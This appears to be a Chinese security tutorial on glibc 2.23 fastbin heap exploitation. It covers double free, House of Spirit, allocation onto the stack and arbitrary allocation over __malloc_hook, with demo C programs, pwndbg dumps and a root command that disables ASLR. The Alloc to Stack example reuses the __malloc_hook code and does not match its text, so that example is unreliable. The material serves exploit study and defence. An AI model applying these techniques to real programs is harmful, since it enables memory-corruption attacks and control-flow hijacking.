fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
漏洞发生于 fastbin 类型的 chunk 中
如果细分的话,可以做如下的分类:
Fastbin Double Free
House of Spirit
Alloc to Stack
Arbitrary Alloc
其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。
原理
测试环境:
pwndocker + glibc 2.23
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 我们来证明一下。
#include <stdio.h> #include <stdlib.h> int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x30); chunk2=malloc(0x30); chunk3=malloc(0x30); //进行释放 free(chunk1); free(chunk2); free(chunk3); return 0; }
编译:
gcc -g -no-pie -o test test.c -Wl,-rpath='/glibc/2.23/64/lib',-dynamic-linker='/glibc/2.23/64/lib/ld-2.23.so'
关闭系统地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
malloc申请内存之后
pwndbg> x/26gx 0x405010-0x10 0x405000:0x00000000000000000x0000000000000041 0x405010:0x00000000000000000x0000000000000000 0x405020:0x00000000000000000x0000000000000000 0x405030:0x00000000000000000x0000000000000000 0x405040:0x00000000000000000x0000000000000041 0x405050:0x00000000000000000x0000000000000000 0x405060:0x00000000000000000x0000000000000000 0x405070:0x00000000000000000x0000000000000000 0x405080:0x00000000000000000x0000000000000041 0x405090:0x00000000000000000x0000000000000000 0x4050a0:0x00000000000000000x0000000000000000 0x4050b0:0x00000000000000000x0000000000000000 0x4050c0:0x00000000000000000x0000000000020f41
三次free之后
pwndbg> x/26gx 0x405010-0x10 0x405000:0x00000000000000000x0000000000000041 0x405010:0x00000000000000000x0000000000000000 0x405020:0x00000000000000000x0000000000000000 0x405030:0x00000000000000000x0000000000000000 0x405040:0x00000000000000000x0000000000000041 0x405050:0x00000000004050000x0000000000000000 0x405060:0x00000000000000000x0000000000000000 0x405070:0x00000000000000000x0000000000000000 0x405080:0x00000000000000000x0000000000000041 0x405090:0x00000000004050400x0000000000000000 0x4050a0:0x00000000000000000x0000000000000000 0x4050b0:0x00000000000000000x0000000000000000 0x4050c0:0x00000000000000000x0000000000020f41
此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1 构成了一个单链表
pwndbg> fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x405080 —▸ 0x405040 —▸ 0x405000 ◂— 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0
Fastbin Double Free
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。
Fastbin Double Free 能够成功利用主要有两部分的原因
1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
/* Another simple check: make sure the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; }
示例1
当我们尝试执行下列程序的时候
int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk1); return 0; }
我们会发现出现如下状况,这正是因为 _int_free 函数检测到了 fastbin 的 double free。
root@daily_exercise:/ctf/work/heap/fastbin-attack# ./demo1_double_free *** Error in `./demo1_double_free': double free or corruption (fasttop): 0x0000555555559010 *** Aborted
如果我们在 chunk1 释放后,再释放 chunk2 ,这样 main_arena 就指向 chunk2 而不是 chunk1 了,此时我们再去释放 chunk1 就不再会被检测到。
int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); return 0; }
如下两张图,此时我们构造了这样的链表main_arena=>chunk1=>chun2=>chunk1。
那么构造这样的链表我们如何去利用呢?我们仔细回忆下整个过程,chunk1在第一次释放的时候,它的fd值是0,当它再一次被释放的时候,此时它的fd指针指向了chunk2,此时如果我们使用malloc获得chunk1,我们就可以任意修改它的fd指针指向一个 fake chunk,然后再去malloc,我们就可以获得任意读写某地址的能力。接下来用示例2验证一下我们的想法。
示例2
同前面一样,我们构造main_arena=>chunk1=>chun2=>chunk1的链表。然后我们 malloc 得到chunk1 ,修改 fd ,使其指向我们伪造的 bss_chunk。然后我们可以看到 fastbin 会把堆块分配到这里。
typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); chunk_a=malloc(0x10); *(long long *)chunk_a=&bss_chunk; malloc(0x10); malloc(0x10); chunk_b=malloc(0x10); printf("%p",chunk_b); return 0; }
在执行完*(long long *)chunk_a=&bss_chunk;这句,此时的fastbins是这样。
因为fastbin是后进先出的,所以我们还需要两次malloc。
值得注意的是,我们在 main 函数的第一步就进行了bss_chunk.size=0x21;的操作,这是因为_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
小结
通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),这就相当于任意地址写任意值的效果。
House Of Spirit
该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址chunk 的目的。
要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK。
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
示例
直接以 how2heap 上的例子进行实验:
#include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]); fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
运行结果如下:
小结
因此,想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。
Alloc to Stack
如果你已经理解了前文所讲的 Fastbin Double Free 与 house of spirit 技术,那么理解该技术就已经不成问题了,它们的本质都在于 fastbin 链表的特性:当前 chunk 的 fd 指针指向下一个 chunk。
该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。
示例
我们把 fake_chunk 置于栈中称为 stack_chunk,同时劫持了 fastbin 链表中 chunk 的 fd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。
#include <stdio.h> #include <stdlib.h> int main(void) { void *chunk1; void *chunk_a; chunk1=malloc(0x60); free(chunk1); *(long long *)chunk1=0x7ffff7dd4af5-0x8; malloc(0x60); chunk_a=malloc(0x60); return 0; }
执行完*(long long *)chunk1=&stack_chunk;这句后,我们首先把 chunk1 的 fd 指针指向了 stack_chunk。
第一次 malloc之后, fastbin 链表指向了 stack_chunk。
第二次 malloc如下图,我们可以看到返回值为 0x7fffffffe520 也就是 stack_chunk。
pwndbg> i r rax 0x7fffffffe520 140737488348448 ... pwndbg> x/6gx 0x7fffffffe520-0x10 0x7fffffffe510:0x00007fffffffe53e 0x0000000000000021 0x7fffffffe520:0x0000000000401200 0x0000000000401090 0x7fffffffe530:0x00007fffffffe620 0x120c1a90007f1900
小结
通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的 size 值。
Arbitrary Alloc
Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
示例
在这个例子,我们使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置,相当于覆盖__malloc_hook 来控制程序流程。
#include <stdio.h> #include <stdlib.h> int main(void) { void *chunk1; void *chunk_a; chunk1=malloc(0x60); free(chunk1); *(long long *)chunk1=0x7ffff7dd4af5-0x8; malloc(0x60); chunk_a=malloc(0x60); return 0; }
这其中的0x7ffff7dd4af5值是根据__malloc_hook在glibc2.23的偏移+libc的基地址算出来的。查看libc加载的基地址是0x7ffff7a39000,这里我关闭了系统的地址随机化,不知道libc的基地址相同与这个有无关系,这里存疑?如下得到__malloc_hook的偏移:
# objdump /glibc/2.23/64/lib/libc.so.6 -D -M intel | grep __malloc_hook ... 000000000039bb10 <__malloc_hook>:
查看__malloc_hook附近:
pwndbg> x/144bx 0x7ffff7dd4b10-0x70 0x7ffff7dd4aa0 <_IO_wide_data_0+224>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4aa8 <_IO_wide_data_0+232>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ab0 <_IO_wide_data_0+240>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ab8 <_IO_wide_data_0+248>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ac0 <_IO_wide_data_0+256>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ac8 <_IO_wide_data_0+264>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ad0 <_IO_wide_data_0+272>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ad8 <_IO_wide_data_0+280>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ae0 <_IO_wide_data_0+288>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4ae8 <_IO_wide_data_0+296>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7dd4af0 <_IO_wide_data_0+304>: 0x60 0x32 0xdd 0xf7 0xff 0x7f 0x00 0x00 0x7ffff7dd4af8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x0 0x7ffff7dd4b00 <__memalign_hook>: 0x00 0x2b 0xab 0xf7 0xff 0x7f 0x00 0x00 0x7ffff7dd4b08 <__realloc_hook>: 0xa0 0x2a 0xab 0xf7 0xff 0x7f 0x00 0x00 0x7ffff7dd4b10 <__malloc_hook>: 0x60 0x2a 0xab 0xf7 0xff 0x7f 0x00 0x0 0x7ffff7dd4b18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x0 0x7ffff7dd4b20 <main_arena>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x0 0x7ffff7dd4b28 <main_arena+8>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x0
观察发现 0x7ffff7dd4af5 处可以现实错位构造出一个 0x000000000000007f,因此我们选这里作为fastbin的fake chunk。然后使得第一次free的pre指针指向 0x7ffff7dd4af5 ,然后经过两次malloc(0x60)后,得到 0x7ffff7dd4afd 这块大小为0x60的空间,从而我们就可以对__malloc_hook处对内容进行修改。
小结
综上,我们了解了Arbitrary Alloc 可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。
参考
fastbin attack: https://ctf-wiki.org/pwn/linux/glibc-heap/fastbin_attack/
来源:freebuf.com 2021-02-17 13:40:05 by: ATL安全团队
请登录后发表评论
注册